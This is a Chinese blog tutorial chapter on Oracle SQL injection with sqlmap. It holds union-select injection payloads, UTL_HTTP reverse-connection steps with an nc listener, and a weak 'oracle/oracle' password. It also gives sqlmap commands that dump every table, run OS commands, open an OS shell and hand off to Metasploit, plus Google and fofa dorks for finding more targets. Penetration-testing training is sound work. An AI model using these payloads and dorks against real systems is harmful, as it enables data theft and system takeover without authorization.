zoukankan      html  css  js  c++  java
  • sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御

    5.4 使用sqlmap进行Oracle数据库注入与防御

    5.4.1 Oracle数据库注入基础

    1.SQL注入点判断

    and 1=1 和 and 1=2

    2. 判断数据库为Oracle

    (1) 出错信息显示Oracle

    (2) 通过注释符号来判断

    (3) 多行查询判断,Oracle不支持多行查询

    3. 获取基本信息

    (1) 获取字段数,可以使用order by N根据返回的页面判断

    (2) and 1=2 union select 1,2, (select banner from sys.v_$version where rownum=1), 4,5,6 from dual

    (3) 获取数据库连接的用户名

    and 1=2 union select 1,2 ( select SYS_CONTEXT('USERENV', 'CURRENT_USER') from dual), 4,5,6 from dual

    (4) 获取日志的绝对路径

    4. 猜测数据库,表和列名

    (1) 爆出数据库明

    (2) 爆表名

    (3) 爆字段名

    5. Oracle注入过程的特性

    (1) 字段类型必须确定

    (2) UTL_HTTP存储过程反弹注入

    * 判断UTL_HTTP存储过程是否可用

    * 本地执行nc监听端口

    * 注入点执行

    (3) 系统特性

    (4) 创建远程连接账号

    (5) 命令执行

    6. Oracle数据库导出

    (1) 登录服务器

    ssh 22.2.33.3

    内网中的弱口令oracle/oracle

    (2) 在ssh中执行

    7. Oracle数据库导入

    (1) 执行sqlpuls

    sqlpuls /nolog

    (2) 以DBA进行连接

    conn /as sysdba;

    (3) 创建需要导入的表空间

    create tablespace spms

    datafile='d:xxxxspms.dbf'

    size 50m

    autoextend on;

    (4) 创建用户

    create user dbms identified by bmfxheihei;

    (5) 授予权限

    (6) 导入数据库

    imp dbms/bmfxheihei@dbms full=y file=d:dbmx.tmp ignore=y

    https://www.cnblogs.com/peterpan0707007/p/8242119.html

    5.4.2 使用sqlmap进行Oracle数据库注入命令

    1. 需要安装Oracle支持模块cx_Oracle

    (1) 源码下载

    git clone https://github.com/oracle/python-cx_oracle

    (2) 使用pip命令安装

    python -m pip install cx_Oracle --upgrade

    (3) Windows下安装

    2. 数据库命令直连

    sqlmap.py -d oracle://User:Password@DBMS_IP:DBMS_PORT/DATABASE_SID

    (1) sqlmap.py -u url -f --current-user --current-db --hostname --batch

    (2) sqlmap.py -u url --password --privileges --roles --users --is-dba --batch

    (3) sqlmap.py -u url --exclude-sysdbs --schema --dbs --batch

    (4) sqlmap.py -u url -D dbname --table

    (5) sqlmap.py -u url -D dbname --count

    (6) sqlmap.py -u url -D dbname -T manage --columns

    (7) 导出manager表数据及所有数据

    sqlmap.py -u url -D dbname -T manager --dump

    sqlmap.py -u url -D dbname --dump-all

    (8) SQL shell ,查询及文件

    sqlmap.py -u url --sql-query="sql语句"

    sqlmap.py -u url --sql-shell

    sqlmap.py -u url --sql-file="具体文件"

    (9) os命令及提权

    sqlmap.py -u url --os-cmd id

    sqlmap.py -u url --os-shell

    (10) MSF协助渗透

    sqlmap.py -u url --os-pwn --msf-paht /software/metasploit

    (11) 向导模式开展测试

    sqlmap.py -u url --wizard

    (12) Oracle命令行提权

    5.4.3 使用AWVS进行漏洞扫描

    1. 使用AWVS扫描URL

    5.4.4 SQL盲注漏洞利用

    1. 使用sqlmap检测request数据是否存在SQL注入

    sqlmap.py -r /root/bmfx.txt

    2. 使用sqlmap检测出SQL注入点所在的数据库类型

    3. 获取具体的漏洞类型及payload

    4. 注意事项

    (1) 有的注入点可能是扫描工具扫描出来的结果,显示存在SQL注入,但是实际测试发现并非存在,无法利用的现象,像这类是误报

    (2) 使用sqlmap进行测试时,尽量做全部的测试,有的注入点可能存在多种类型的SQL注入,测试结束之后,可以选择一个速度最快的方式进行快速注入

    (3) sqlmap中可以使用--batch自动提交参数

    (4) 可以使用-o参数进行优化

    (5) 发现SQL注入点无法通过sqlmap进行后续工作的时候,可以尝试使用其他注入工具对注入点进行测试

    5. 延伸漏洞挖掘

    (1) 使用fofa网站进行关键字检索扩展漏洞目标,例如:custLoginAction.do

    (2) 使用百度等搜索引擎进行Google黑客扩展目标,例如:inurl:custLoginAction.do

    参考:

    http://www.secist.com/archives/448.html

    https://www.jianshu.com/p/30c216960bdd

    https://blog.csdn.net/csacs/article/details/90145501

    https://blog.csdn.net/st415/article/details/78118382

    实战测试环境,参考如下:

    https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe


     
  • 相关阅读:
    python面试的100题(2)
    面试题目和地址
    python面试的100题(1)
    no module named系列问题解决
    ubuntu16.04无法打开终端
    Reinforcement Learning,微信公众号:DRL学习
    Java中的I/O操作File
    Java中的Date时间转换【SimpleDateFormat (parse和format)】和Calendar日历表
    重写equals方法
    Java中栈,堆,常量池的简单理解
  • 原文地址:https://www.cnblogs.com/autopwn/p/13294496.html
Copyright © 2011-2022 走看看